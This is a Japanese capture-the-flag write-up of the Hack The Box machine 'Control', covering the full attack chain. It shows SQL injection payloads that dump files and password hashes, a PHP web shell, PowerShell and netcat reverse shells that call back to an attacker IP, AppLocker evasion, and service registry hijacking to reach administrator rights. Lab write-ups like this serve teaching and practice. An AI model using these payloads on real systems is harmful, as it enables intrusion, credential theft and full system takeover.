1, nmap
ControlのIPアドレスを control.htb で解決できるよう /etc/hosts を編集しておきます。
まずはnmapで調査します。
# cat control.nmap
# Nmap 7.92 scan initiated Tue Jul 26 06:24:26 2022 as: nmap -Pn -T4 -A -oN control.nmap -p- control.htb
Nmap scan report for control.htb (10.10.10.167)
Host is up (0.16s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
2, HTTPの調査
ttp://control.htb/index.php にアクセスすると、以下のページが表示されます。
index.php のソースコードに以下の記載があります。
新決済システムへのリンクには、192.168.4.28でSSLを有効にする必要があるらしいです。
ナビからAdmin, Loginをクリックすると、どちらも ttp://control.htb/admin.php に飛ばされ、以下のエラーが表示されます。
HTTPヘッダで、プロキシを経由する必要があるようです。
3, admin.phpへアクセスする
HTTPヘッダでプロキシを指定できるのは、以下の5項目です。
headers.txtとして保存しておきます。
Forwarded
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Proto
Via
経由するプロキシサーバーとしては、コメントの192.168.4.28が怪しいでしょうか。
wfuzzをつかい、総当たりで調べます。
# wfuzz -c -u http://control.htb/admin.php -w headers.txt -H FUZZ:192.168.4.28 -p 127.0.0.1:8080:HTTP
...
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://control.htb/admin.php
Total requests: 5
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000004: 200 0 L 15 W 89 Ch "X-Forwarded-Proto"
000000001: 200 0 L 15 W 89 Ch "Forwarded"
000000005: 200 0 L 15 W 89 Ch "Via"
000000003: 200 0 L 15 W 89 Ch "X-Forwarded-Host"
000000002: 200 153 L 466 W 7933 Ch "X-Forwarded-For"
Total time: 0
Processed Requests: 5
Filtered Requests: 0
Requests/sec.: 0
X-Forwarded-Forに192.168.4.28をセットしadmin.phpにアクセスします。
この時、Burp Suiteでproxyのoptionsから、Match and Replaceに追加しておきましょう。
admin.phpが表示されました
4, SQL Injection - 1 : .phpファイルを取得する
試しに Find Products に ' のみを入力して検索してみます。
エラーメッセージが表示されます。あからさまですが、SQLインジェクションが可能です。
Union BasedのSQLインジェクションを行うため、カラム数を調べます。
以下のように order by を用いてカラム数を特定します。
productName=' order by 5 -- - // エラーなし
productName=' order by 10 -- - // エラー
productName=' order by 7 -- - // エラー
productName=' order by 6 -- - // エラーなし
カラム数は6と分かりました。
続いて、union で行の挿入を試します。
productName=' union select 1,2,3,4,5,6 -- - // エラーなし
行の挿入が可能ならば、LOAD_FILE()で.phpファイルを取得できます。
まずは、index.phpです。
productName=' union select LOAD_FILE('C:\\inetpub\\wwwroot\\index.php'),2,3,4,5,6 -- -
'C:\inetpub\wwwroot\'はIISの標準ホームディレクトリです。
LOAD_FILE()だけでも抜き取れますが、Burp Suiteの画面上に収まりきらなくなってしまいます。
なので、TO_BASE64()も使います。
productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\index.php')),2,3,4,5,6 -- -
base64コマンドなどでデコードすれば、index.htmlが取得できているとわかります。
同様に、
admin.phpも取得しましょう。
productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\admin.php')),2,3,4,5,6 -- -
admin.phpの最上部では、proxyの処理を行っているとわかります。
<?php
$allowed = array('192.168.4.28');
if (!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['HTTP_ORIGIN'] = $_SERVER['REMOTE_ADDR'];
}
if (in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed)) { } else {
die('Access Denied: Header Missing. Please ensure you go through the proxy to access this page');
}
?>
<!DOCTYPE html>
array('192.168.4.28')に$_SERVER['HTTP_X_FORWARDED_FOR']がなければdie()しています。
admin.phpから、検索はsearch_products.phpで行われていることがわかります。
<!-- Search -->
<section>
<div>
<h2>Find Products</h2>
<form id="searchProducts" action="search_products.php" method="POST">
<div class="row gtr-uniform gtr-50">
<div class="col-8 col-12-xsmall"><input type="text" name="productName" id="productName" placeholder="Name" /></div>
<div class="col-4 col-12-xsmall"><input type="submit" value="Search" class="primary" /></div>
</div>
</form>
</div>
</section>
search_products.php を同様に取得し、表示してみましょう。
<tbody>
<?php
try {
$productName = $_POST['productName'];
$servername = "localhost";
$username = "manager";
$password = "l3tm3!n";
$dbname = "warehouse";
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
$stmt = $conn->query("SELECT * FROM product WHERE name='$productName'");
//$result = $conn->query("SELECT * FROM product WHERE name='$productName'");
do {
$rows = $stmt->fetchAll(PDO::FETCH_NUM);
if (count($rows) > 0) {
foreach ($rows as $row) {
echo "<tr>";
foreach ($row as $value) {
echo "<td>" . $value . "</td>";
}
echo '</tr>';
}
} else {
echo "<td>No Products Found</td>";
echo "<td> </td>";
echo "<td> </td>";
echo "<td> </td>";
echo "<td> </td>";
}
} while ($stmt->nextRowset());
} catch (PDOException $e) {
echo "Error: " . $e->getMessage();
}
?>
</tbody>
クエリが SELECT * FROM product WHERE name='$productName' であること、
manager のパスワードが l3tm3!n であることが分かります。
5, SQL Injection - 2 : データベースの調査
productName=' union select (select group_concat(schema_name separator '\n') from information_schema.schemata),2,3,4,5,6;-- -
で、
information_schema
mysql
warehouse
の3つのスキーマがあると分かります。
mysqlシステムスキーマには、userテーブルが含まれています。
システムスキーマに含まれるテーブルは、以下のクエリでも表示できます
productName=' union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='mysql' -- -
userテーブルのuserとpasswordを調査します。
' union select group_concat(user, password separator '\n') ,2,3,4,5,6 from mysql.user;-- -
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8 // 不明
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
manager : CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA // l3tm3!n
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D // l33th4x0rhector
hectorのパスワードを新たに入手しました。
6, SQL Injection - 3 : Web Shellの配置
INTO DUMPFILE を使い、C:\inetpub\wwwroot\ 配下に新たなwebページを作成します。
まずは、phpinfo()を表示させてみましょう。
ttp://control.htb/phpinfo.php にアクセスし、404エラーでphpinfo.phpファイルが"無い"ことを確認します。
次に以下のクエリで、phpinfo.phpを作成します。
productName=' union select ('<?php phpinfo(); ?>'),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\phpinfo.php'-- -
では、WebShellを作成します。
以下のクエリで.phpファイルを作成し、
productName=' union select ("<?php system($_REQUEST['c']); ?>"),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\webshell.php'-- -
ttp://control.htb/webshell.php?c=whoami でアクセスしてみましょう。
nt authority\iusr(IISのビルドインアカウント)が表示されます。
ttp://control.htb/webshell.php?c=hostname で、コンピュータ名が Fidelity であることも分かります。
7, ビルドインアカウントの権限取得
Kali Linuxでペイロードの準備をします。
nishangがインストールされていなければ、インストールします。
# apt install nishang
Shells/Invoke-PowerShellTcp.ps1 を使います。ワーキングディレクトリにコピーします。
# cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
Invoke-PowerShellTcp.ps1 の末尾に、以下の一文を追加します。
10.10.14.26 は自分のKali LinuxのIPに置き換えてください、ポートも任意です。
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.26 -Port 443
最後に簡易的な難読化を施します。
# sed -i 's/invoke-powershelltcp/foo/gI' Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp関数の関数名をfooに置き換えます。
Kali Linux上でWebサーバーの立ち上げと、rlwrapでシェルを受け取る準備をします。
# python3 -m http.server 80
# rlwrap nc -nlvp 443
先程のWeb Shell の c を以下に置き換えアクセスしましょう。
c=powershell IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing)
8, hectorへのエスカレーション
Kali Linuxでhector権限のシェルを受け取る準備をしておきます。
# rlwrap nc -nlvp 443
hectorのパスワードがわかっているので、資格情報(credential)を作成後、10.10.14.26/Invoke-PowerShellTcp.ps1をもう一度呼び出します。
PS C:\inetpub\wwwroot> $username = '.\hector'
PS C:\inetpub\wwwroot> $password = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
PS C:\inetpub\wwwroot> $hostname = 'Fidelity'
PS C:\inetpub\wwwroot> $credential = New-Object System.Management.Automation.PSCredential($username,$password)
PS C:\inetpub\wwwroot> Invoke-Command -ComputerName $hostname -Credential $credential -ScriptBlock {IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing) }
hectorのアカウント権限を取得できました。user.txtを表示しましょう。
9, レジストリ・サービスの調査
AccessChkを使い、Hectorがコントロールできるサービスがないか調べます。
AccessChkを上記からダウンロードし、hectorのシェルで
.\accesschk64.exe -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlset\Services
と実行します。
HectorがRead/Writeできるレジストリが複数あることが確認できます。
次に、サーバー上のすべてのサービスを取得し、$servicesに格納します。
$services = Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\*
$servicesの要素は、以下のようなフィールドを持ちます。
DependOnService : {rpcss}
Description : @%systemroot%\system32\wuaueng.dll,-106
DisplayName : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl : 1
FailureActions : {128, 81, 1, 0...}
ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName : LocalSystem
RequiredPrivileges : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege, SeTcbPrivilege...}
ServiceSidType : 1
Start : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB : 167
SvcMemSoftLimitInMB : 88
Type : 32
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
PSChildName : wuauserv
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
ここで、Startが0x03であるものが、手動で起動できるサービスです。
また、ObjectNameがLocalsystemでなければHectorから起動できません。
これを満たす、"ハッキング可能"なサービス一覧を変数$ishackableに格納します。
$ishackable = $services | Where-Object { ($_.ObjectName -eq 'LocalSystem') -and ( $_.Start -eq '3') }
そして、これらのうち書き込み可能なものをリストアップします。
書き込み権限は Sc sdshow で確認できます。
例えば
cmd /c sc sdshow wuauserv
D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOSDRCWDWO;;;WD)
となっているとき、Hector(AU)はCC, LC, SW, RP, LO, RC が許可されており、RP(SERVICE_START)が可能であると分かります。
AUのRPが可能なシステム一覧を、$canstartに格納します。
$canstart = foreach($service in $ishackable.PSChildName){ $sddl=(cmd /c sc sdshow $service); if ($sddl -match "RP[A-Z]*?;;;AU"){$service}}
$canstartは以下のサービスになりました。
PS C:\Users\Hector\Documents>
$canstart
ConsentUxUserSvc
DevicesFlowUserSvc
PimIndexMaintenanceSvc
PrintWorkflowUserSvc
seclogon
UnistoreSvc
UserDataSvc
WaaSMedicSvc
wuauserv
10, 管理者権限取得?
これからシェルを送り込みます。
その前に、AppLockerを避ける必要があります。
下記を参考に、ワーキングディレクトリを移動します。
cd C:\Windows\System32\spool\drivers\color
こちらのシェルを利用します。サーバへのアップロード時にファイル名を iexplore.exe に変更します。
wget http://10.10.14.26/nc.exe -o iexplore.exe
脆弱なレジストリ、HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv の ImagePath を書き換えます。
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'
Kali Linuxで通信を待ち受けます。
# rlwrap nc -nlvp 443
書き換えたサービス、wuauserv を起動します。
Start-Service wuauserv
すると、Kali Linuxで管理者権限を取得できますが、数十秒で反応がなくなってしまいます。
11, 管理者権限取得
反応がなくなってしまう原因は、システムがサービスのイメージパスを書き戻してしまうためです。
対策として、数十秒間利用できる管理者権限から、その間にnc.exe(iexplore.exe)を直接呼び出し、Kali Linuxと繋げます。
以下のコマンドをメモしておきます。53番ポートはDNSの待ち受けポートなので、利用します。
\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53
そして、以下の手順を素早く行います。
① Kali Linuxでポート443番と53番を待ち受ける。
# rlwrap nc -nlvp 443
# rlwrap nc -nlvp 53
② Hectorのシェルでレジストリを書き換え、サービスを起動する。
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'
Start-Service wuauserv
③ 443番ポートで管理者権限を取得する。すぐにメモしておいたコマンドを打ち込む
\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53
④ 待ち受けておいた53番ポートで、管理者権限を取得できる。
root.txtを表示しましょう。
参考